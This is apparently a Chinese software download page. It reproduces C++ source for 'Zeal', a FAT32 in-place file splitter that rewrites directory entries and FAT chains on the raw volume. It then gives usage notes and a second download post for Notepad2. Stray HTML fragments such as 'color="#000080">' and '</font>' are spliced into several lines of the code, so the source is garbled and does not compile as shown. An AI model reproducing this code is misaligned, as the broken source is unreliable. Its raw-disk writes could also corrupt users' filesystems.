if (!WriteFile (m_hVol, (PBYTE)buf, 512, &read, NULL) || read != 512)
{
msg_error ("WriteFile failed!\n");
goto failed;
}

return 0;

failed:
return -1;
}

int zeal::set_item (DWORD dir_cluster, const char* szShortName, DWORD size, DWORD firstcluster)
{
if (!m_bOpen)
{
return -1;
}

msg_debug ("try to find %s in 0x%x cluster\n", szShortName, dir_cluster);

DWORD cluster = dir_cluster;
LARGE_INTEGER toMove, moved;
PBYTE buf = new BYTE [m_ClusterSize];
for (;;)
{
toMove.QuadPart = cluster * m_ClusterSize + m_OffsetCluster0;
if (!SetFilePointerEx (m_hVol, toMove, &moved, FILE_BEGIN))
{
msg_error ("SetFilePointerEx failed!\n");
goto failed;
}

DWORD read;
if (!ReadFile (m_hVol, buf, m_ClusterSize, &read, NULL) || read != m_ClusterSize)
{
msg_error ("ReadFile failed!\n");
goto failed;
}
dir_item *pItem = (dir_item*) buf;
for (DWORD i = 0; i < m_ClusterSize/32; ++i, ++pItem)
{
msg_debug ("%d name: %0.11s\n", i, pItem->name);
if (pItem->name[0] == 0)
{
msg_error ("file %s not found!\n", szShortName);

goto failed;
}
if (!strnicmp (pItem->name, szShortName, 11))
{
pItem->size = size;
pItem->first_cluster_low = WORD(firstcluster & 0xFFFF);
pItem->first_cluster_high = WORD(firstcluster >> 16);
if (!SetFilePointerEx (m_hVol, toMove, &moved, FILE_BEGIN))
{
msg_error ("SetFilePointerEx failed!\n");
goto failed;
}
DWORD writen;
if (!WriteFile (m_hVol, buf, m_ClusterSize, &writen, NULL) || writen != m_ClusterSize)
{
msg_error ("WriteFile failed!\n");
goto failed;
}
return 0;
}
}

cluster = get_fat (cluster);
if ((0xFFFFFF8 & cluster) == 0xFFFFFF8)
{
msg_error ("file %s not found!\n", szShortName);
goto failed;
}
msg_debug ("try next cluster %X... \n", cluster);
}

failed:
delete[] buf;
return -1;
}

int zeal::find_item (DWORD dir_cluster, const char* szShortName, OUT DWORD& first_cluster)
{
if (!m_bOpen)
{
return -1;
}

msg_debug ("try to find %s in 0x%x cluster\n", szShortName, dir_cluster);
DWORD cluster = dir_cluster;
LARGE_INTEGER toMove, moved;
PBYTE buf = new BYTE [m_ClusterSize];
char name[11];
memset (name, ' ', 11);
strncpy_no_null (name, szShortName, 11);
for (;;)
{
toMove.QuadPart = cluster * m_ClusterSize + m_OffsetCluster0;
if (!SetFilePointerEx (m_hVol, toMove, &moved, FILE_BEGIN))
{
msg_error ("SetFilePointerEx failed!\n");
goto failed;
}

DWORD read;
if (!ReadFile (m_hVol, buf, m_ClusterSize, &read, NULL) || read != m_ClusterSize)
{
msg_error ("ReadFile failed!\n");
goto failed;
}
dir_item *pItem = (dir_item*) buf;
for (DWORD i = 0; i < m_ClusterSize/32; ++i, ++pItem)
{
msg_debug ("%d name: %0.11s\n", i, pItem->name);
if (pItem->name[0] == 0)
{
msg_error ("file %s not found!\n", szShortName);
goto failed;
}
if (!strnicmp (pItem->name, name, 11))
{
first_cluster = (pItem->first_cluster_high << 16) + pItem->first_cluster_low;
msg_debug ("%0.11s found at 0x%x cluster!\n", name, first_cluster);
delete[] buf;
return 0;
}
}
cluster = get_fat (cluster);
if (cluster < 2 || cluster > 0xFFFFFEF)
{
msg_error ("file %s not found!\n", szShortName);
goto failed;
}
}

failed:
delete[] buf;
return -1;
}

int zeal::restore (const char* szFile)
{
char drv[4], shortname[12], path[MAX_PATH], filename[MAX_PATH], ext[MAX_PATH];
char oripath[MAX_PATH] = {0}, shortpath[MAX_PATH], newpath[MAX_PATH];
DWORD count, i, ret;
char *p, *subdir;
DWORD firstclusters[MAX_BLOCK color="#000080">+
1], lastclusters[MAX_BLOCK+1];
DWORD cluster = 2, nextcluster, dirCluster, filesize = 0;
DWORD startTime = GetTickCount ();

_splitpath (szFile, drv, path, filename, ext);
if (stricmp (ext, ".zeal"))
{
msg_error ("Not generated by zeal!\n");
goto failed;
}

p = strstr (filename, ".part");
if (!p)
{
msg_error ("Not generated by zeal!\n");
goto failed;
}

if (sscanf (p + 5, "%*d-%d", &count) != 1)
{
msg_error ("Not generated by zeal!\n");
goto failed;
}

memcpy (oripath, szFile, strstr (szFile, ".part") - szFile);
msg_debug ("ori file path: %s\n", oripath);
if (!_access (oripath, 0))
{
msg_error ("%s already exists!\n", oripath);
goto failed;
}

for (i = 1; i <= count; ++i)
{
sprintf (newpath, "%s.part%d-%d.zeal", oripath, i, count);
ret = get_file_size (newpath);
if (ret == 0)
{
msg_error ("%s missing!\n", newpath);
goto failed;
}
filesize += ret;
}

if (open (drv[0]))
{
msg_error ("failed to open %s!\n", drv);
goto failed;
}

// check size a again, to avoid this, make block size align to 64KB
for (i = 1; i < count; ++i)
{
sprintf (newpath, "%s.part%d-%d.zeal", oripath, i, count);
ret = get_file_size (newpath);
r="#0000FF">if (ret & (m_ClusterSize-1))
{
msg_error ("file size alignment error!\n");
goto failed;
}
}

sprintf (newpath, "%s.part%d-%d.zeal", oripath, 1, count);
if(!GetShortPathName(newpath, shortpath, MAX_PATH))
{
msg_error ("GetShortPathName (%s) failed!\n", newpath);
goto failed;
}
_splitpath (shortpath, drv, path, filename, ext);
subdir = strtok (path, "\\");
while (subdir != NULL)
{
_splitpath (subdir, NULL, NULL, filename, ext);
merge_short_name (filename, ext, shortname);
if (find_item (cluster, shortname, nextcluster))
{
msg_error ("find_item failed!\n");
goto failed;
}
cluster = nextcluster;
subdir = strtok (NULL, "\\");
}

dirCluster = cluster;

for (i = 1; i <= count; ++i)
{
sprintf (newpath, "%s.part%d-%d.zeal", oripath, i, count);
if(!GetShortPathName(newpath, shortpath, MAX_PATH))
{
msg_error ("GetShortPathName (%s) failed!\n", newpath);
goto failed;
}

_splitpath (shortpath, drv, path, filename, ext);
merge_short_name (filename, ext, shortname);
if (find_item (dirCluster, shortname, cluster))
{
msg_error ("find_item failed!\n");
goto failed;
}
if (i == 1)
{
if (set_item (dirCluster, shortname, filesize, cluster))
{
msg_error
("set_item failed!\n");
goto failed;
}
}
else
{
if (set_item (dirCluster, shortname, 0, 0))
{
msg_error ("set_item failed!\n");
goto failed;
}
}
firstclusters[i] = cluster;
lastclusters [i] = get_last_fat (cluster);
}

for (i = 1; i < count; ++i)
{
if (set_fat (lastclusters[i], firstclusters[i+1]))
{
msg_error ("set_item failed!\n");
goto failed;
}
}

close ();

for (i = 1; i <= count; ++i)
{
sprintf (newpath, "%s.part%d-%d.zeal", oripath, i, count);
if (i == 1)
{
if (rename (newpath, oripath))
{
msg_error ("rename %s failed!\n", newpath);
goto failed;
}
}
else
{
if (remove (newpath))
{
msg_error ("remove %s failed!\n", newpath);
goto failed;
}
}
}
SHChangeNotify (SHCNE_ALLEVENTS, 0, 0, 0);
printf ("Done! %d ms used\n", GetTickCount () - startTime);
return 0;

failed:

SHChangeNotify (SHCNE_ALLEVENTS, 0, 0, 0);
close ();
return -1;

}

int zeal::cut (const char* szFile, unsigned int count)
{
char drv[4], path[MAX_PATH], filename[MAX_PATH], ext[MAX_PATH];
char shortpath[MAX_PATH], newpath[MAX_PATH];
char shortname[12] = { ont>0};
DWORD nSize, nCluster, nLastCluster, nLastSize, dirCluster, i, j;
DWORD size = get_file_size (szFile);
DWORD firstclusters[MAX_BLOCK+1], lastclusters[MAX_BLOCK+1];
char* subdir;
DWORD cluster = 2, nextcluster;
DWORD startTime = GetTickCount ();
bool files_created = false;

if (count < 2)
{
msg_error ("Nothing to do ?\n");
goto failed;
}

if (count > MAX_BLOCK)
{
msg_error ("Too many blocks! Max %d\n", MAX_BLOCK);
goto failed;
}

if(!GetShortPathName(szFile, shortpath, MAX_PATH))
{
msg_error ("GetShortPathName (%s) failed!\n", szFile);
goto failed;
}

_splitpath (shortpath, drv, path, filename, ext);

// check if files already exists
for (i = 1; i <= count; ++i)
{
sprintf (newpath, "%s.part%d-%d.zeal", szFile, i, count);
if (!_access (newpath, 0))
{
msg_error ("%s already exists!\n", newpath);
goto failed;
}
if (i!=1 && create_empty_file (newpath))
{
msg_error ("Failed to create %s!\n", newpath);
goto failed;
}
}

files_created = true;

if (open (drv[0]))
{
msg_error ("failed to open %s!\n", drv);
goto failed;
}

if (size < m_ClusterSize * count)
{
msg_error ("Block size < %d, exit!\n", m_ClusterSize);
goto failed;
}

// size per block, down align to m_ClusterSize
nSize = (size / count) & ~(m_ClusterSize -
1
);
// clusters per block
nCluster = nSize / m_ClusterSize;
// size of last block
nLastSize = size - (count-1)*nSize;
// clusters of last block
nLastCluster = (nLastSize + m_ClusterSize - 1) / m_ClusterSize;

subdir = strtok (path, "\\");
while (subdir != NULL)
{
_splitpath (subdir, NULL, NULL, filename, ext);
merge_short_name (filename, ext, shortname);
if (find_item (cluster, shortname, nextcluster))
{
msg_error ("find_item failed!\n");
goto failed;
}
cluster = nextcluster;
subdir = strtok (NULL, "\\");
}

dirCluster = cluster;

_splitpath (shortpath, drv, path, filename, ext);
merge_short_name (filename, ext, shortname);
if (find_item (dirCluster, shortname, nextcluster))
{
msg_error ("find_item failed!\n");
goto failed;
}

// now nextcluster is the first content of the file
firstclusters[1] = nextcluster;
cluster = nextcluster;
for (i = 2; i <= count; ++i)
{
for (j = 0; j < nCluster; ++j)
{
if (j == nCluster - 1)
{
lastclusters[i-1] = cluster;
}
cluster = get_fat (cluster);
if (cluster < 0x2 || cluster > 0xFFFFFEF)
{
msg_error ("Error parsing fat!\n");
goto failed;
}
}
firstclusters[i] = cluster;
}

// set the others
for (i = 2; i color="#000080"><
count; ++i)
{
sprintf (newpath, "%s.part%d-%d.zeal", szFile, i, count);
if(!GetShortPathName(newpath, shortpath, MAX_PATH))
{
printf ("GetShortPathName (%s) failed!\n", newpath);
goto failed;
}
_splitpath (shortpath, drv, path, filename, ext);
merge_short_name (filename, ext, shortname);
if (set_item (dirCluster, shortname, nSize, firstclusters[i]))
{
msg_error ("set_item failed!\n");
goto failed;
}
if (set_fat (lastclusters[i], 0x0FFFFFFF))
{
msg_error ("set_fat failed!\n");
goto failed;
}
}

// set the last one
sprintf (newpath, "%s.part%d-%d.zeal", szFile, i, count);
if(!GetShortPathName(newpath, shortpath, MAX_PATH))
{
msg_error ("GetShortPathName (%s) failed!\n", newpath);
goto failed;
}
_splitpath (shortpath, drv, path, filename, ext);
merge_short_name (filename, ext, shortname);
if (set_item (dirCluster, shortname, nLastSize, firstclusters[count]))
{
msg_error ("set_item failed!\n");
goto failed;
}

// set the first part
if(!GetShortPathName(szFile, shortpath, MAX_PATH))
{
msg_error ("GetShortPathName (%s) failed!\n", newpath);
goto failed;
}
_splitpath (shortpath, drv, path, filename, ext);
merge_short_name (filename, ext, shortname);
if (set_item (dirCluster, shortname, nSize, firstclusters[1]))
{
msg_error (<
/font>"set_item failed!\n");
goto failed;
}
if (set_fat (lastclusters[1], 0x0FFFFFFF))
{
msg_error ("set_fat failed!\n");
goto failed;
}

close ();

sprintf (newpath, "%s.part%d-%d.zeal", szFile, 1, count);
if (rename (szFile, newpath))
{
msg_error ("Rename failed!\n");
goto failed;
}

SHChangeNotify (SHCNE_ALLEVENTS, 0, 0, 0);
printf ("Done! %d ms used\n", GetTickCount () - startTime);
return 0;

failed:

close ();
if (files_created)
{
for (i = 2; i <= count; ++i)
{
sprintf (newpath, "%s.part%d-%d.zeal", szFile, i, count);
remove (newpath);
}
}

return -1;
}

int zeal::open (char vol)
{
if (m_bOpen)
{
close ();
}

char volname[] = "\\\\.\\A:";
volname[4] = vol;
m_hVol = CreateFile (volname,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_NO_BUFFERING,
NULL
);

if (m_hVol == INVALID_HANDLE_VALUE)
{
msg_error ("failed to open %s!\n", volname);
goto failed;
}

DWORD ret, read, i;
ret = ReadFile (m_hVol, (PVOID)&m_BootSector, 512, &read, NULL);
if (!ret || read != 512)
{
msg_error ("ReadFile failed!\n");
goto failed;
}

if (strnicmp(m_BootSector.type, "FAT32 ", 8)
||
m_BootSector.end_flag != 0xAA55)
{
msg_error ("Only FAT32 is supported now, NTFS support will come later\n");
goto failed;
}

if (m_BootSector.bytes_per_sector != 512)
{
msg_error ("Error: sector size %d!\n", m_BootSector.bytes_per_sector);
goto failed;
}

m_ClusterSize = 512 * m_BootSector.sectors_per_cluster;
m_OffsetFat1 = m_BootSector.reserved_sectors_count * 512;
m_OffsetFat2 = m_OffsetFat1 + m_BootSector.sectors_per_fat32 * 512;
m_OffsetCluster0 = m_OffsetFat2 + m_BootSector.sectors_per_fat32 * 512 - 2 * m_ClusterSize;
m_OffsetRootdir = m_OffsetCluster0 + m_BootSector.rootdir_cluster * m_ClusterSize;
m_vol = vol;
m_bOpen = true;
m_arryFatCache = new DWORD [m_BootSector.sectors_per_fat32 * 128];
for (i = 0; i < m_BootSector.sectors_per_fat32 * 128; ++i)
{
m_arryFatCache[i] = 1;
}
return 0;

failed:
if (m_hVol != INVALID_HANDLE_VALUE)
{
CloseHandle (m_hVol);
}
return -1;
}

void zeal::close ()
{
if (m_bOpen)
{
CloseHandle (m_hVol);
delete[] m_arryFatCache;
}
m_bOpen = false;
}


void Logo ()
{
puts ("Roger's Zeal for fat32");
puts ("Version: 0.11");
puts ("Mailto : roger99707@163.com");
puts ("Blog : http://rogerfd.cn\n");
}

void Usage ()
{
puts ("Zeal is a in-place file spiltter ");
puts ("Usage: zeal.exe file_to_split(full path) count ");
puts (" zeal.exe file_to_restore(any piece) ");
}


int main (int argc, char* argv[])
{
Logo ();
zeal z;
if (argc < 2 <
/font>|| argc > 3)
{
Usage ();
return 0;
}
#ifdef _DEBUG
z
.set_debug (true);
#else
z.set_debug (false);
#endif
if
(argc == 3)
{
z.cut (argv[1], atoi(argv[2]));
}
if (argc == 2)
{
z.restore (argv[1]);
}
return 0;
}





Zeal 是一个支持文件就地分割合并的工具,分割合并都不需要数据拷贝,因此速度极快,也不需要额外的存储空间。目前Zeal 0.11不支持NTFS格式。

Zeal是一个命令行程序,使用方法极其简单,例如分割文件:

zeal.exe C:\game.iso 10


注意必须使用全路径,分块数目限制在2~127之间。合并的方法也很简单:

zeal.exe C:\game.iso.part1-10.zeal


参数可以是分割出来的任何一个文件,所有的文件必须在同一个目录下

只花了 844ms 就把接近 700MB 大小的 sufoet.iso 瞬间分割成 5份 了。Zeal 的原理是直接修改文件系统的记录,需要管理员权限操作完成后 sufoet.iso 就不见,变成了 5个 扩展名为 Zeal 的文件。

再补充说明一下,Zeal可以将自身做分割出来的文件瞬间合并;如果你不希望用Zeal来合并,也可以使用控制台命令copy:
例如
test.rar.part1-3.zeal
test.rar.part2-3.zeal
test.rar.part3-3.zeal

这三个文件块要恢复成 test.rar,可以用命令

copy /B test.rar.part1-3.zeal+test.rar.part2-3.zeal+test.rar.part3-3.zeal test.rar


注意顺序,以及/B参数


文件名称: Zeal
文件版本: 0.11 绿色版
文件格式: RAR
文件大小: 5 KB
作 者: roger (roger99707@163.com)
官方网站: rogerfd.cn
转载发布雨律在线

免责声明
  此文件已经过了JiaJia的正版 卡巴斯基全功能安全软件2009(最新病毒库) 的检测,在JiaJia的爱机上没有出现任何不良反应,但为了用户您的安全,请在下载相关文件后再使用您所信赖的杀毒软件扫描一次。如使用下载的相关文件的过程中对您的爱机造成危害,雨律在线不承担其责任。
  雨律在线所发表的内容大部分源于互联网,只为学习交流所用,而JiaJia所推荐及建议的内容并不对您的行为构成引导,您应当按照自己需要使用。另外,本站内容为我爱好所写,转载需遵循创造共同协议,即:署名·非商业用途·保持一致。如果雨律在线内容不慎侵犯了您的版权,请及时联系站长JiaJia,站长将尽快处理,撤下相关内容。若JiaJia所写文章中存在错漏之处,希望网友能及时提出及更正,如果喜欢该软件,请购买正版支持作者 :)


下载地址 Zeal 下载  [雨律在线 - YuLv.Net]




Notepad2 (不要漏掉这个"2",他跟Windows自带的Notepad可大相径庭.) 一个小巧、快速的替代微软记事本的软件,界面华丽、功能强大,免安装纯绿色软件。我实在找不出微软的记事本还能留下来的理由。

特点:
* 自定义语法高亮, 支持 HTML, XML, CSS, JavaScript, VBScript, ASP, PHP, CSS, Perl/CGI, C/C++, C#, Java, VB, Pascal, Assembler, SQL, Python, NSIS, INI, REG, INF, BAT, DIFF, Ruby 等众多文件
* 支持 ANSI、Unicode、UTF-8 等编码互换
* 直接查看 NFO 文件
* 可以格式化 C/C++/Java 源代码
* 可以把语法高亮方案导出为 HTML、UBB 代码
* 内置 BAT/C/C++/NSIS 等语言支持
* 可以使用代码页转换来转换诸如 BIG5 码等 ANSI 编码
* 可以设置无限个书签 (9种图标可换) 轻松定位 --空格, 制表符彩色显示, 并可互相转换
* 可以对任意的文本块进行操作, [Alt]键+鼠标
* 对括号 {} [] ()可以高亮配对显示, 方便查看(仅对英文符号有效)
* 支持正则表达式搜索和替换 (Boost)
* 可以使用半透明模式
* 快速放大、缩小页面, 不用再设定字体大小
* 可以指定 ESC 键最小化 Notepad2 到系统托盘或者关闭


文件名称: Notepad2
文件版本: 3.1.21-rc1 绿色汉化版
文件格式: RAR
文件大小: 224 KB
官方网站: www.flos-freeware.ch
文件发布雨律在线

免责声明
  此文件已经过了JiaJia的正版 卡巴斯基全功能安全软件2009(最新病毒库) 的检测,在JiaJia的爱机上没有出现任何不良反应,但为了用户您的安全,请在下载相关文件后再使用您所信赖的杀毒软件扫描一次。如使用下载的相关文件的过程中对您的爱机造成危害,雨律在线不承担其责任。
  雨律在线所发表的内容大部分源于互联网,只为学习交流所用,而JiaJia所推荐及建议的内容并不对您的行为构成引导,您应当按照自己需要使用。另外,本站内容为我爱好所写,转载需遵循创造共同协议,即:署名·非商业用途·保持一致。如果雨律在线内容不慎侵犯了您的版权,请及时联系站长JiaJia,站长将尽快处理,撤下相关内容。若JiaJia所写文章中存在错漏之处,希望网友能及时提出及更正,如果喜欢该软件,请购买正版支持作者 :)


下载地址 Notepad2 下载  [雨律在线 - YuLv.Net]